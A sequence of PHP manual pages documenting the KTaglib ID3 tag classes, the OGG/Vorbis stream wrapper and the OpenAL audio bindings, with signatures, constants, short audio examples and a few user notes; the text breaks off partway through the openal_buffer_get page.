Returns the artist string from a ID3 tag

KTaglib_Tag::getAlbum
KTaglib_Tag::getComment
KTaglib_Tag
PHP Manual

KTaglib_Tag::getArtist

(0.0.1)

KTaglib_Tag::getArtist — Returns the artist string from a ID3 tag

Description

public string KTaglib_Tag::getArtist ( void )

Returns the artist string of an ID3 tag. This method is implemented in ID3v1 and ID3v2 tags.

Return Values

Returns the artist string

User Contributed Notes

There are no user contributed notes for this page.
KTaglib_Tag::getAlbum
KTaglib_Tag::getComment
KTaglib_Tag


Returns the comment from a ID3 tag

KTaglib_Tag::getArtist
KTaglib_Tag::getGenre
KTaglib_Tag
PHP Manual

KTaglib_Tag::getComment

(0.0.1)

KTaglib_Tag::getComment — Returns the comment from a ID3 tag

Description

public string KTaglib_Tag::getComment ( void )

Returns the comment of an ID3 tag. This method is implemented in ID3v1 and ID3v2 tags.

Return Values

Returns the comment string

User Contributed Notes

There are no user contributed notes for this page.
KTaglib_Tag::getArtist
KTaglib_Tag::getGenre
KTaglib_Tag


Returns the genre from a ID3 tag

KTaglib_Tag::getComment
KTaglib_Tag::getTitle
KTaglib_Tag
PHP Manual

KTaglib_Tag::getGenre

(0.0.1)

KTaglib_Tag::getGenre — Returns the genre from a ID3 tag

Description

public string KTaglib_Tag::getGenre ( void )

Returns the genre of an ID3 tag. This method is implemented in ID3v1 and ID3v2 tags.

Return Values

Returns the genre string

User Contributed Notes

There are no user contributed notes for this page.
KTaglib_Tag::getComment
KTaglib_Tag::getTitle
KTaglib_Tag


Returns the title string from a ID3 tag

KTaglib_Tag::getGenre
KTaglib_Tag::getTrack
KTaglib_Tag
PHP Manual

KTaglib_Tag::getTitle

(0.0.1)

KTaglib_Tag::getTitle — Returns the title string from a ID3 tag

Description

public string KTaglib_Tag::getTitle ( void )

Returns the title string of an ID3 tag. This method is implemented in ID3v1 and ID3v2 tags.

Return Values

Returns the title string

User Contributed Notes

There are no user contributed notes for this page.
KTaglib_Tag::getGenre
KTaglib_Tag::getTrack
KTaglib_Tag


Returns the track number from a ID3 tag

KTaglib_Tag::getTitle
KTaglib_Tag::getYear
KTaglib_Tag
PHP Manual

KTaglib_Tag::getTrack

(0.0.1)

KTaglib_Tag::getTrack — Returns the track number from a ID3 tag

Description

public int KTaglib_Tag::getTrack ( void )

Returns the track number of an ID3 tag. This method is implemented in ID3v1 and ID3v2 tags.

Return Values

Returns the track number as an integer

User Contributed Notes

There are no user contributed notes for this page.
KTaglib_Tag::getTitle
KTaglib_Tag::getYear
KTaglib_Tag


Returns the year from a ID3 tag

KTaglib_Tag::getTrack
KTaglib_Tag::isEmpty
KTaglib_Tag
PHP Manual

KTaglib_Tag::getYear

(0.0.1)

KTaglib_Tag::getYear — Returns the year from a ID3 tag

Description

public int KTaglib_Tag::getYear ( void )

Returns the year of an ID3 tag. This method is implemented in ID3v1 and ID3v2 tags.

Return Values

Returns the year as an integer

User Contributed Notes

There are no user contributed notes for this page.
KTaglib_Tag::getTrack
KTaglib_Tag::isEmpty
KTaglib_Tag


Returns true if the tag is empty

KTaglib_Tag::getYear
KTaglib_ID3v2_Tag
KTaglib_Tag
PHP Manual

KTaglib_Tag::isEmpty

(0.0.1)

KTaglib_Tag::isEmpty — Returns true if the tag is empty

Description

public bool KTaglib_Tag::isEmpty ( void )

Returns true if the tag exists, but is empty. This method is implemented in ID3v1 and ID3v2 tags.

Return Values

Returns true if the tag is empty, otherwise false.

User Contributed Notes

There are no user contributed notes for this page.
KTaglib_Tag::getYear
KTaglib_ID3v2_Tag
KTaglib_Tag


The KTaglib_ID3v2_Tag class

(No version information available, might only be in SVN)

Introduction

Represents and ID3v2 tag. It provides a list of ID3v2 frames and can be used to add and remove additional frames.

Class synopsis

extends KTaglib_Tag {
/* Methods */
public bool addFrame ( KTaglib_ID3v2_Frame $frame )
public array getFrameList ( void )
/* Inherited methods */
public string KTaglib_Tag::getAlbum ( void )
public string KTaglib_Tag::getArtist ( void )
public string KTaglib_Tag::getComment ( void )
public string KTaglib_Tag::getGenre ( void )
public string KTaglib_Tag::getTitle ( void )
public int KTaglib_Tag::getTrack ( void )
public int KTaglib_Tag::getYear ( void )
public bool KTaglib_Tag::isEmpty ( void )
}

Table of Contents

  • KTaglib_ID3v2_Tag::addFrame — Add a frame to the ID3v2 tag
  • KTaglib_ID3v2_Tag::getFrameList — Returns an array of ID3v2 frames, associated with the ID3v2 tag

User Contributed Notes

There are no user contributed notes for this page.
KTaglib_Tag::isEmpty
KTaglib_ID3v2_Tag::addFrame
KTaglib


Add a frame to the ID3v2 tag

KTaglib_ID3v2_Tag
KTaglib_ID3v2_Tag::getFrameList
KTaglib_ID3v2_Tag
PHP Manual

KTaglib_ID3v2_Tag::addFrame

(0.0.1)

KTaglib_ID3v2_Tag::addFrame — Add a frame to the ID3v2 tag

Description

public bool KTaglib_ID3v2_Tag::addFrame ( KTaglib_ID3v2_Frame $frame )

Adds a frame to the ID3v2 tag. The frame must be a valid KTaglib_ID3v2_Frame object. To save the tag, the save function needs to be invoked.

Return Values

Returns true on success, otherwise false.

User Contributed Notes

There are no user contributed notes for this page.
KTaglib_ID3v2_Tag
KTaglib_ID3v2_Tag::getFrameList
KTaglib_ID3v2_Tag


Returns an array of ID3v2 frames, associated with the ID3v2 tag

KTaglib_ID3v2_Tag::addFrame
KTaglib_ID3v2_Frame
KTaglib_ID3v2_Tag
PHP Manual

KTaglib_ID3v2_Tag::getFrameList

(0.0.1)

KTaglib_ID3v2_Tag::getFrameList — Returns an array of ID3v2 frames, associated with the ID3v2 tag

Description

public array KTaglib_ID3v2_Tag::getFrameList ( void )

Returns an array of ID3v2 frames, associated with the ID3v2 tag.

Return Values

Return an array of KTaglib_ID3v2_Frame objects

User Contributed Notes

There are no user contributed notes for this page.
KTaglib_ID3v2_Tag::addFrame
KTaglib_ID3v2_Frame
KTaglib_ID3v2_Tag


The KTaglib_ID3v2_Frame class

(No version information available, might only be in SVN)

Introduction

The base class for ID3v2 frames. ID3v2 tags are separated in various specialized frames. Some frames can exists multiple times.

Class synopsis

extends KTaglib_Tag {
/* Methods */
public int getSize ( void )
public string __toString ( void )
/* Inherited methods */
public string KTaglib_Tag::getAlbum ( void )
public string KTaglib_Tag::getArtist ( void )
public string KTaglib_Tag::getComment ( void )
public string KTaglib_Tag::getGenre ( void )
public string KTaglib_Tag::getTitle ( void )
public int KTaglib_Tag::getTrack ( void )
public int KTaglib_Tag::getYear ( void )
public bool KTaglib_Tag::isEmpty ( void )
}

Table of Contents

  • KTaglib_ID3v2_Frame::getSize — Returns the size of the frame in bytes
  • KTaglib_ID3v2_Frame::__toString — Returns a string representation of the frame

User Contributed Notes

There are no user contributed notes for this page.
KTaglib_ID3v2_Tag::getFrameList
KTaglib_ID3v2_Frame::getSize
KTaglib


Returns the size of the frame in bytes

KTaglib_ID3v2_Frame
KTaglib_ID3v2_Frame::__toString
KTaglib_ID3v2_Frame
PHP Manual

KTaglib_ID3v2_Frame::getSize

(0.0.1)

KTaglib_ID3v2_Frame::getSize — Returns the size of the frame in bytes

Description

public int KTaglib_ID3v2_Frame::getSize ( void )

Returns the size of the frame in bytes. Please refer to id3.org to see what ID3v2 frames are and how they are defined.

Return Values

Returns the size of the frame in bytes

User Contributed Notes

There are no user contributed notes for this page.
KTaglib_ID3v2_Frame
KTaglib_ID3v2_Frame::__toString
KTaglib_ID3v2_Frame


Returns a string representation of the frame

KTaglib_ID3v2_Frame::getSize
KTaglib_ID3v2_AttachedPictureFrame
KTaglib_ID3v2_Frame
PHP Manual

KTaglib_ID3v2_Frame::__toString

(0.0.1)

KTaglib_ID3v2_Frame::__toString — Returns a string representation of the frame

Description

public string KTaglib_ID3v2_Frame::__toString ( void )

Returns a string representation of the frame. This might be just the frame id, but might contain more information. Please see the ktaglib documentation for more information

Return Values

Returns a string representation of the frame.

User Contributed Notes

There are no user contributed notes for this page.
KTaglib_ID3v2_Frame::getSize
KTaglib_ID3v2_AttachedPictureFrame
KTaglib_ID3v2_Frame


The KTaglib_ID3v2_AttachedPictureFrame class

(No version information available, might only be in SVN)

Introduction

Represents an ID3v2 frame that can hold a picture.

Class synopsis

extends KTaglib_ID3v2_Frame {
/* Methods */
public string getDescription ( void )
public string getMimeType ( void )
public int getType ( void )
public bool savePicture ( string $filename )
public string getMimeType ( string $type )
public void setPicture ( string $filename )
public void setType ( int $type )
/* Inherited methods */
public int KTaglib_ID3v2_Frame::getSize ( void )
public string KTaglib_ID3v2_Frame::__toString ( void )
public string KTaglib_Tag::getAlbum ( void )
public string KTaglib_Tag::getArtist ( void )
public string KTaglib_Tag::getComment ( void )
public string KTaglib_Tag::getGenre ( void )
public string KTaglib_Tag::getTitle ( void )
public int KTaglib_Tag::getTrack ( void )
public int KTaglib_Tag::getYear ( void )
public bool KTaglib_Tag::isEmpty ( void )
}

Table of Contents

  • KTaglib_ID3v2_AttachedPictureFrame::getDescription — Returns a description for the picture in a picture frame
  • KTaglib_ID3v2_AttachedPictureFrame::getMimeType — Returns the mime type of the picture
  • KTaglib_ID3v2_AttachedPictureFrame::getType — Returns the type of the image
  • KTaglib_ID3v2_AttachedPictureFrame::savePicture — Saves the picture to a file
  • KTaglib_ID3v2_AttachedPictureFrame::setMimeType — Set's the mime type of the picture
  • KTaglib_ID3v2_AttachedPictureFrame::setPicture — Sets the frame picture to the given image
  • KTaglib_ID3v2_AttachedPictureFrame::setType — Set the type of the image

User Contributed Notes

There are no user contributed notes for this page.
KTaglib_ID3v2_Frame::__toString
KTaglib_ID3v2_AttachedPictureFrame::getDescription
KTaglib


Returns a description for the picture in a picture frame

KTaglib_ID3v2_AttachedPictureFrame
KTaglib_ID3v2_AttachedPictureFrame::getMimeType
KTaglib_ID3v2_AttachedPictureFrame
PHP Manual

KTaglib_ID3v2_AttachedPictureFrame::getDescription

(0.0.1)

KTaglib_ID3v2_AttachedPictureFrame::getDescription — Returns a description for the picture in a picture frame

Description

public string KTaglib_ID3v2_AttachedPictureFrame::getDescription ( void )

Returns the attached description for a picture frame in an ID3v2.x frame.

Return Values

Returns a description for the picture in a picture frame

User Contributed Notes

There are no user contributed notes for this page.
KTaglib_ID3v2_AttachedPictureFrame
KTaglib_ID3v2_AttachedPictureFrame::getMimeType
KTaglib_ID3v2_AttachedPictureFrame


Returns the mime type of the picture

KTaglib_ID3v2_AttachedPictureFrame::getDescription
KTaglib_ID3v2_AttachedPictureFrame::getType
KTaglib_ID3v2_AttachedPictureFrame
PHP Manual

KTaglib_ID3v2_AttachedPictureFrame::getMimeType

(0.2.0)

KTaglib_ID3v2_AttachedPictureFrame::getMimeType — Returns the mime type of the picture

Description

public string KTaglib_ID3v2_AttachedPictureFrame::getMimeType ( void )

Returns the mime type of the image represented by the attached picture frame.

Please notice that this method might return different types. While ID3v2.2 have a mime type that doesn't start with "image/", ID3v2.3 and v2.4 usually start with "image/". Therefore the method might return "image/png" for IDv2.3 frames and just "PNG" for ID3v2.2 frames.

Notice that even the frame is an attached picture, the mime type might not be set and therefore an empty string might be returned.

Return Values

Returns the mime type of the image represented by the attached picture frame.

User Contributed Notes

There are no user contributed notes for this page.
KTaglib_ID3v2_AttachedPictureFrame::getDescription
KTaglib_ID3v2_AttachedPictureFrame::getType
KTaglib_ID3v2_AttachedPictureFrame


Returns the type of the image

KTaglib_ID3v2_AttachedPictureFrame::getMimeType
KTaglib_ID3v2_AttachedPictureFrame::savePicture
KTaglib_ID3v2_AttachedPictureFrame
PHP Manual

KTaglib_ID3v2_AttachedPictureFrame::getType

(0.2.0)

KTaglib_ID3v2_AttachedPictureFrame::getType — Returns the type of the image

Description

public int KTaglib_ID3v2_AttachedPictureFrame::getType ( void )

Returns the type of the image.

The ID3v2 specification allows an AttachedPictureFrame to set the type of an image. This can be e.g. FrontCover or FileIcon. Please refer to the KTaglib_ID3v2_AttachedPictureFrame class description for a list of available types.

Return Values

Returns the integer representation of the type.

User Contributed Notes

There are no user contributed notes for this page.
KTaglib_ID3v2_AttachedPictureFrame::getMimeType
KTaglib_ID3v2_AttachedPictureFrame::savePicture
KTaglib_ID3v2_AttachedPictureFrame


Saves the picture to a file

KTaglib_ID3v2_AttachedPictureFrame::getType
KTaglib_ID3v2_AttachedPictureFrame::setMimeType
KTaglib_ID3v2_AttachedPictureFrame
PHP Manual

KTaglib_ID3v2_AttachedPictureFrame::savePicture

(0.0.1)

KTaglib_ID3v2_AttachedPictureFrame::savePicture — Saves the picture to a file

Description

public bool KTaglib_ID3v2_AttachedPictureFrame::savePicture ( string $filename )

Saves the attached picture to the given filename.

Return Values

Returns true on success, otherwise false

User Contributed Notes

There are no user contributed notes for this page.
KTaglib_ID3v2_AttachedPictureFrame::getType
KTaglib_ID3v2_AttachedPictureFrame::setMimeType
KTaglib_ID3v2_AttachedPictureFrame


Set's the mime type of the picture

KTaglib_ID3v2_AttachedPictureFrame::savePicture
KTaglib_ID3v2_AttachedPictureFrame::setPicture
KTaglib_ID3v2_AttachedPictureFrame
PHP Manual

KTaglib_ID3v2_AttachedPictureFrame::setMimeType

(0.2.0)

KTaglib_ID3v2_AttachedPictureFrame::setMimeType — Set's the mime type of the picture

Description

public string KTaglib_ID3v2_AttachedPictureFrame::getMimeType ( string $type )

Sets the mime type of the image. This should in most cases be "image/png" or "image/jpeg".

User Contributed Notes

There are no user contributed notes for this page.
KTaglib_ID3v2_AttachedPictureFrame::savePicture
KTaglib_ID3v2_AttachedPictureFrame::setPicture
KTaglib_ID3v2_AttachedPictureFrame


Sets the frame picture to the given image

KTaglib_ID3v2_AttachedPictureFrame::setMimeType
KTaglib_ID3v2_AttachedPictureFrame::setType
KTaglib_ID3v2_AttachedPictureFrame
PHP Manual

KTaglib_ID3v2_AttachedPictureFrame::setPicture

(0.0.1)

KTaglib_ID3v2_AttachedPictureFrame::setPicture — Sets the frame picture to the given image

Description

public void KTaglib_ID3v2_AttachedPictureFrame::setPicture ( string $filename )

Sets the picture to the give image. The image is loaded from the given filename. Please note that the picture is not saved unless you call the save method of the corresponding file object.

Return Values

Returns true on success, otherwise false

User Contributed Notes

There are no user contributed notes for this page.
KTaglib_ID3v2_AttachedPictureFrame::setMimeType
KTaglib_ID3v2_AttachedPictureFrame::setType
KTaglib_ID3v2_AttachedPictureFrame


Set the type of the image

KTaglib_ID3v2_AttachedPictureFrame::setPicture
oggvorbis
KTaglib_ID3v2_AttachedPictureFrame
PHP Manual

KTaglib_ID3v2_AttachedPictureFrame::setType

(0.2.0)

KTaglib_ID3v2_AttachedPictureFrame::setType — Set the type of the image

Description

public void KTaglib_ID3v2_AttachedPictureFrame::setType ( int $type )

Sets the type of the image. This can be e.g. FrontCover or FileIcon. Please refer to the KTaglib_ID3v2_AttachedPictureFrame class description for a list of available types and their constant mappings.

User Contributed Notes

There are no user contributed notes for this page.
KTaglib_ID3v2_AttachedPictureFrame::setPicture
oggvorbis
KTaglib_ID3v2_AttachedPictureFrame


OGG/Vorbis

  • Introduction
  • Installing/Configuring
    • Requirements
    • Installation
    • Runtime Configuration
    • Resource Types
  • Predefined Constants
  • Context options
  • Examples
    • Examples on using the ogg:// wrapper.

User Contributed Notes

There are no user contributed notes for this page.
KTaglib_ID3v2_AttachedPictureFrame::setType
Introduction
Audio Formats Manipulation


Introduction

The OGG/Vorbis file format, as defined by » http://www.vorbis.com/, is a scheme for compressing audio streams by multiple factors with a minimum of quality loss. This extension adds Ogg Vorbis support to PHP's URL Wrappers. When used in read mode, compressed OGG/Vorbis data is expanded to raw PCM audio in one of six PCM encoding formats listed below.

User Contributed Notes

There are no user contributed notes for this page.
oggvorbis
Installing/Configuring
oggvorbis


Installing/Configuring

Table of Contents

  • Requirements
  • Installation
  • Runtime Configuration
  • Resource Types

User Contributed Notes

There are no user contributed notes for this page.
Introduction
Requirements
oggvorbis


Requirements

This extension requires PHP >= 4.3.0, » libogg >= 1.0, and » libvorbis >= 1.0.

User Contributed Notes

There are no user contributed notes for this page.
Installing/Configuring
Installation
Installing/Configuring


Installation

Information for installing this PECL extension may be found in the manual chapter titled Installation of PECL extensions. Additional information such as new releases, downloads, source files, maintainer information, and a CHANGELOG, can be located here: » http://pecl.php.net/package/oggvorbis

User Contributed Notes

There are no user contributed notes for this page.
Requirements
Runtime Configuration
Installing/Configuring


Predefined Constants

The constants below are defined by this extension, and will only be available when the extension has either been compiled into PHP or dynamically loaded at runtime.

OGG/Vorbis supports PCM encodings in the following formats
Constant | Definition
OGGVORBIS_PCM_U8 | Unsigned 8-bit PCM.
OGGVORBIS_PCM_S8 | Signed 8-bit PCM.
OGGVORBIS_PCM_U16_LE | Unsigned 16-bit PCM. Little Endian byte order.
OGGVORBIS_PCM_U16_BE | Unsigned 16-bit PCM. Big Endian byte order.
OGGVORBIS_PCM_S16_LE | Signed 16-bit PCM. Little Endian byte order.
OGGVORBIS_PCM_S16_BE | Signed 16-bit PCM. Big Endian byte order.

User Contributed Notes

There are no user contributed notes for this page.
Resource Types
Context options
oggvorbis


Context options

OGG/Vorbis tuning options
Option | Definition | Relevance | Default
pcm_mode | PCM byte encoding used. See constants below. | Read / Write | OGGVORBIS_PCM_S16_LE
rate | PCM Sampling rate. Measured in Hz. | Write only | 44100
bitrate | Vorbis Average Bitrate Encoding / Variable Bitrate Encoding. Measured in bps (ABR) or Quality level (VBR: 0.0 to 1.0). 128000 ABR is rough equal to 0.4 VBR. | Write only | 128000
channels | Number of PCM channels. 1 == Mono, 2 == Stereo. | Write only | 2
serialno | Serial Number of stream within file. Must be unique within file. Because of the potential to select a duplicate serial number within a chained file, make efforts to manually assign unique numbers when encoding. | Write only | Random
comments | Associative array of file comments. Will be translated to strtoupper($name) . "=$value". Note: This context option is not available in oggvorbis-0.1 | Write only | array('ENCODER' => 'PHP/OggVorbis, http://pear.php.net/oggvorbis')

User Contributed Notes

There are no user contributed notes for this page.
Predefined Constants
Examples
oggvorbis


Examples

Table of Contents

  • Examples on using the ogg:// wrapper.

User Contributed Notes

There are no user contributed notes for this page.
Context options
Examples on using the ogg:// wrapper.
oggvorbis


Examples on using the ogg:// wrapper.

Example #1 Reading an OGG/Vorbis file

<?php
dl("oggvorbis.so");

/* By default, ogg:// will decode to Signed 16-bit Little Endian */
$fp = fopen('ogg://myaudio.ogg', 'r');

/* Collect some information about the file. */
$metadata = stream_get_meta_data($fp);

/* Inspect the first song (usually the only song,
   but OGG/Vorbis files may be chained) */
$songdata = $metadata['wrapper_data'][0];

echo "OGG/Vorbis file encoded by: {$songdata['vendor']}\n.";
echo "  {$songdata['channels']} channels of {$songdata['rate']}Hz sampling encoded at {$songdata['bitrate_nominal']}bps.\n";
foreach($songdata['comments'] as $comment) {
    echo "  $comment\n";
}

while ($audio_data = fread($fp, 8192)) {
  /* Do something with the PCM audio we're extracting from the OGG.
     Copying to /dev/dsp is a good target on linux systems,
     just remember to setup the device for your sampling mode first. */
}

fclose($fp);

?>

Example #2 Encode an audio file to OGG/Vorbis

<?php
dl('oggvorbis.so');

$context = stream_context_create(array('ogg'=>array(
             'pcm_mode' => OGGVORBIS_PCM_S8,  /* Signed 8bit audio */
             'rate' => 44100,                 /* 44kHz CD quality */
             'bitrate' => 0.5,                /* Midquality VBR */
             'channels' => 1,                 /* Mono */
             'serialno' => 12345)));          /* Unique within our stream */

/* Open file for appending.  This will "chain" a second OGG stream at the end of the first. */
$ogg = fopen('ogg://mysong.ogg', 'a', false, $context);

$pcm = fopen('mysample.pcm', 'r');

/* Compress the raw PCM audio from mysample.pcm into mysong.ogg */
stream_copy_to_stream($pcm, $ogg);

fclose($pcm);
fclose($ogg);
?>

User Contributed Notes

There are no user contributed notes for this page.
Examples
OpenAL
Examples


OpenAL Audio Bindings

  • Introduction
  • Installing/Configuring
    • Requirements
    • Installation
    • Runtime Configuration
    • Resource Types
  • Predefined Constants
  • OpenAL Functions
    • openal_buffer_create — Generate OpenAL buffer
    • openal_buffer_data — Load a buffer with data
    • openal_buffer_destroy — Destroys an OpenAL buffer
    • openal_buffer_get — Retrieve an OpenAL buffer property
    • openal_buffer_loadwav — Load a .wav file into a buffer
    • openal_context_create — Create an audio processing context
    • openal_context_current — Make the specified context current
    • openal_context_destroy — Destroys a context
    • openal_context_process — Process the specified context
    • openal_context_suspend — Suspend the specified context
    • openal_device_close — Close an OpenAL device
    • openal_device_open — Initialize the OpenAL audio layer
    • openal_listener_get — Retrieve a listener property
    • openal_listener_set — Set a listener property
    • openal_source_create — Generate a source resource
    • openal_source_destroy — Destroy a source resource
    • openal_source_get — Retrieve an OpenAL source property
    • openal_source_pause — Pause the source
    • openal_source_play — Start playing the source
    • openal_source_rewind — Rewind the source
    • openal_source_set — Set source property
    • openal_source_stop — Stop playing the source
    • openal_stream — Begin streaming on a source

User Contributed Notes

There are no user contributed notes for this page.
Examples on using the ogg:// wrapper.
Introduction
Audio Formats Manipulation


Introduction

Platform independent audio bindings. Requires the » OpenAL library.

User Contributed Notes

There are no user contributed notes for this page.
OpenAL
Installing/Configuring
OpenAL


Installing/Configuring

Table of Contents

  • Requirements
  • Installation
  • Runtime Configuration
  • Resource Types

User Contributed Notes

There are no user contributed notes for this page.
Introduction
Requirements
OpenAL


Installation

This » PECL extension is not bundled with PHP.

Information for installing this PECL extension may be found in the manual chapter titled Installation of PECL extensions. Additional information such as new releases, downloads, source files, maintainer information, and a CHANGELOG, can be located here: » http://pecl.php.net/package/openal.

A DLL for this PECL extension is currently unavailable. See also the building on Windows section.

User Contributed Notes

There are no user contributed notes for this page.
Requirements
Runtime Configuration
Installing/Configuring


Resource Types

This extension defines four resource types:
Open AL(Device) - Returned by openal_device_open(),
Open AL(Context) - Returned by openal_context_create(),
Open AL(Buffer) - Returned by openal_buffer_create(),
and Open AL(Source) - Returned by openal_source_create().

User Contributed Notes

There are no user contributed notes for this page.
Runtime Configuration
Predefined Constants
Installing/Configuring


Predefined Constants

The constants below are defined by this extension, and will only be available when the extension has either been compiled into PHP or dynamically loaded at runtime.

ALC_FREQUENCY (integer)
Context Attribute
ALC_REFRESH (integer)
Context Attribute
ALC_SYNC (integer)
Context Attribute
AL_FREQUENCY (integer)
Buffer Setting
AL_BITS (integer)
Buffer Setting
AL_CHANNELS (integer)
Buffer Setting
AL_SIZE (integer)
Buffer Setting
AL_BUFFER (integer)
Source/Listener Setting (Integer)
AL_SOURCE_RELATIVE (integer)
Source/Listener Setting (Integer)
AL_SOURCE_STATE (integer)
Source/Listener Setting (Integer)
AL_PITCH (integer)
Source/Listener Setting (Float)
AL_GAIN (integer)
Source/Listener Setting (Float)
AL_MIN_GAIN (integer)
Source/Listener Setting (Float)
AL_MAX_GAIN (integer)
Source/Listener Setting (Float)
AL_MAX_DISTANCE (integer)
Source/Listener Setting (Float)
AL_ROLLOFF_FACTOR (integer)
Source/Listener Setting (Float)
AL_CONE_OUTER_GAIN (integer)
Source/Listener Setting (Float)
AL_CONE_INNER_ANGLE (integer)
Source/Listener Setting (Float)
AL_CONE_OUTER_ANGLE (integer)
Source/Listener Setting (Float)
AL_REFERENCE_DISTANCE (integer)
Source/Listener Setting (Float)
AL_POSITION (integer)
Source/Listener Setting (Float Vector)
AL_VELOCITY (integer)
Source/Listener Setting (Float Vector)
AL_DIRECTION (integer)
Source/Listener Setting (Float Vector)
AL_ORIENTATION (integer)
Source/Listener Setting (Float Vector)
AL_FORMAT_MONO8 (integer)
PCM Format
AL_FORMAT_MONO16 (integer)
PCM Format
AL_FORMAT_STEREO8 (integer)
PCM Format
AL_FORMAT_STEREO16 (integer)
PCM Format
AL_INITIAL (integer)
Source State
AL_PLAYING (integer)
Source State
AL_PAUSED (integer)
Source State
AL_STOPPED (integer)
Source State
AL_LOOPING (integer)
Source State
AL_TRUE (integer)
Boolean value recognized by OpenAL
AL_FALSE (integer)
Boolean value recognized by OpenAL

User Contributed Notes

There are no user contributed notes for this page.
Resource Types
OpenAL Functions
OpenAL


OpenAL Functions

Table of Contents

  • openal_buffer_create — Generate OpenAL buffer
  • openal_buffer_data — Load a buffer with data
  • openal_buffer_destroy — Destroys an OpenAL buffer
  • openal_buffer_get — Retrieve an OpenAL buffer property
  • openal_buffer_loadwav — Load a .wav file into a buffer
  • openal_context_create — Create an audio processing context
  • openal_context_current — Make the specified context current
  • openal_context_destroy — Destroys a context
  • openal_context_process — Process the specified context
  • openal_context_suspend — Suspend the specified context
  • openal_device_close — Close an OpenAL device
  • openal_device_open — Initialize the OpenAL audio layer
  • openal_listener_get — Retrieve a listener property
  • openal_listener_set — Set a listener property
  • openal_source_create — Generate a source resource
  • openal_source_destroy — Destroy a source resource
  • openal_source_get — Retrieve an OpenAL source property
  • openal_source_pause — Pause the source
  • openal_source_play — Start playing the source
  • openal_source_rewind — Rewind the source
  • openal_source_set — Set source property
  • openal_source_stop — Stop playing the source
  • openal_stream — Begin streaming on a source

User Contributed Notes

Tjeerd 02-Feb-2007 08:37
OpenAL aims to provide a standardized API for something called '3D' sound, just like OpenGL does for '3D' video rendering.

The fun part of OpenAL is that it does all the DSP for you, so you don't need to know a lot about audio. Since OpenAL comes from Creative Labs, it supports hardware rendering of audio with most if not all SoundBlaster audio controllers. They come with chips from EMU-systems and are specifically designed to mix down multichannel audio with DSP effects like reverb and chorus, which could consume a lot CPU speed.

The downside of OpenAL is that (at this time of writing) it is focus on games only. It doesn't do MIDI at all, it doesn't record anything, it doesn't work like a synthesizer. The only thing you can do with OpenAL is play sounds in a simulated 3D environment.
It probably doesn't work on the web.

To use OpenAL you need to read the documentation about OpenAL.

Note concerning audio users: there's no such thing as '3D' audio with speakers. Technically, when people have only two ears, they really can't distinguish sound from above or below, even in front or from behind. To achieve this people merely hear volume, the brightness of sound and the phase difference. One should be able to hear more '3D' sound with only two quality-class speakers than with a consumer class 5.1-set.
cweiske at cweiske dot de 06-Sep-2006 01:31
I made a PHP-Gtk2 OpenAL demo which allows you to define as many sound sources as you like and position them relative to the listener by drag and drop: http://gnope.org/p/Tools_OpenALdemo
cweiske at cweiske dot de 21-Jul-2006 11:29
Playing a wav file:
<?php
function printok($b) {
    echo $b ? " ok\n" : " error\n";
}

echo "Opening device";
$device = openal_device_open();
printok($device);

echo "Creating context";
$context = openal_context_create($device);
printok($context);
echo "Making context the current";
printok(openal_context_current($context));

//where we are
//echo "Setting listener position";
//printok(openal_listener_set(AL_POSITION, array(0, 0, 0)));
//echo "Setting listener orientation";
//printok(openal_listener_set(AL_ORIENTATION, array(0=>0,1 => 1, 2=>0, 3=> 0, 4=>4, 5=>5)));

echo "Creating buffer";
$buffer = openal_buffer_create();
echo "Loading wav";
printok(openal_buffer_loadwav($buffer, '/data/shared/vmware/newmessage.wav'));
echo "buffer stats\n";
echo " Frequency: " . openal_buffer_get($buffer, AL_FREQUENCY) . "\n";
echo " Bits     : " . openal_buffer_get($buffer, AL_BITS) . "\n";
echo " Channels : " . openal_buffer_get($buffer, AL_CHANNELS) . "\n";
echo " Size     : " . openal_buffer_get($buffer, AL_SIZE) . "\n";

echo "Creating source";
$source = openal_source_create();

echo "Setting source buffer";
printok(openal_source_set($source, AL_BUFFER, $buffer));
//echo "Setting source position";
//printok(openal_source_set($source, AL_POSITION, array(1, 0, 0)));

echo "Playing source";
printok(openal_source_play($source));

echo "sleeping\n";
//sleep(1);
//we wait 300msecs beause the sound
// has no time to be played otherwise
//since playing sound is done concurrently
// to the script
usleep(300000);

echo "Destroying source";
printok(openal_source_destroy($source));
echo "Destroying buffer";
printok(openal_buffer_destroy($buffer));
echo "Destroying context";
printok(openal_context_destroy($context));
echo "Closing device";
printok(openal_device_close($device));
?>
Predefined Constants
openal_buffer_create
OpenAL


Generate OpenAL buffer

OpenAL Functions
openal_buffer_data
OpenAL Functions
PHP Manual

openal_buffer_create

(PECL openal >= 0.1.0)

openal_buffer_create — Generate OpenAL buffer

Description

resource openal_buffer_create ( void )

Return Values

Returns an Open AL(Buffer) resource on success or FALSE on failure.

See Also

  • openal_buffer_loadwav() - Load a .wav file into a buffer
  • openal_buffer_data() - Load a buffer with data

User Contributed Notes

There are no user contributed notes for this page.
OpenAL Functions
openal_buffer_data
OpenAL Functions


Load a buffer with data

openal_buffer_create
openal_buffer_destroy
OpenAL Functions
PHP Manual

openal_buffer_data

(PECL openal >= 0.1.0)

openal_buffer_data — Load a buffer with data

Description

bool openal_buffer_data ( resource $buffer , int $format , string $data , int $freq )

Parameters

buffer

An Open AL(Buffer) resource (previously created by openal_buffer_create()).

format

Format of data, one of: AL_FORMAT_MONO8, AL_FORMAT_MONO16, AL_FORMAT_STEREO8 and AL_FORMAT_STEREO16

data

Block of binary audio data in the format and freq specified.

freq

Frequency of data given in Hz.

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • openal_buffer_loadwav() - Load a .wav file into a buffer
  • openal_stream() - Begin streaming on a source

User Contributed Notes

There are no user contributed notes for this page.
openal_buffer_create
openal_buffer_destroy
OpenAL Functions


Destroys an OpenAL buffer

openal_buffer_data
openal_buffer_get
OpenAL Functions
PHP Manual

openal_buffer_destroy

(PECL openal >= 0.1.0)

openal_buffer_destroy — Destroys an OpenAL buffer

Description

bool openal_buffer_destroy ( resource $buffer )

Parameters

buffer

An Open AL(Buffer) resource (previously created by openal_buffer_create()).

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • openal_buffer_create() - Generate OpenAL buffer

User Contributed Notes

There are no user contributed notes for this page.
openal_buffer_data
openal_buffer_get
OpenAL Functions


Retrieve an OpenAL buffer property

openal_buffer_destroy
openal_buffer_loadwav
OpenAL Functions
PHP Manual

openal_buffer_get

(PECL openal >= 0.1.0)

openal_buffer_get — Retrieve an OpenAL buffer property

Description

int openal_buffer_get ( resource $buffer , int $property )

Parameters

buffer

An Open AL(Buffer) resource (previously created by openal_buffer_create()).

property

